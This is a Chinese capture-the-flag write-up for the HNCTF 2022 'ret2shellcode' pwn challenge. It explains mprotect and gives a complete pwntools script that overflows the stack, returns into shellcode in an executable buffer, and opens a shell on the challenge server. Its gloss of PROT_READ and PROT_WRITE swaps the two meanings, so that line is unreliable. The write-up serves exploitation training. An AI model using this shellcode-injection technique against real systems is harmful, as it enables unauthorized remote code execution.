Problem: [HNCTF 2022 Week1]ret2shellcode
思路


mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
-
prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):
-
PROT_READ:可写,值为 1
-
PROT_WRITE:可读, 值为 2
-
PROT_EXEC:可执行,值为 4
-
PROT_NONE:不允许访问,值为 0
需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
gdb调试发现从0x04000开始,len为0x1000,修改成 1/2/4 = 7 可读可写可执行,
可以将shellcode写入到s中时,将返回地址溢出,并通过sctcpy()将shellcode复制到有执行权限的buff,所以覆盖地址就是buff的地址。
EXP
from pwn import *
# context(arch = 'i386', os = 'linux', log_level = 'debug')
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node5.anna.nssctf.cn',20266)
# io = process('./shellcode')
elf = ELF('./shellcode')
offset = 0x100+8
shellcode = asm(shellcraft.sh()).ljust(offset,b'a')
buff_addr = 0x4040A0
payload = flat(
shellcode,
buff_addr,
)
io.sendline(payload)
io.interactive()
总结
ret2shellcode,mprotect
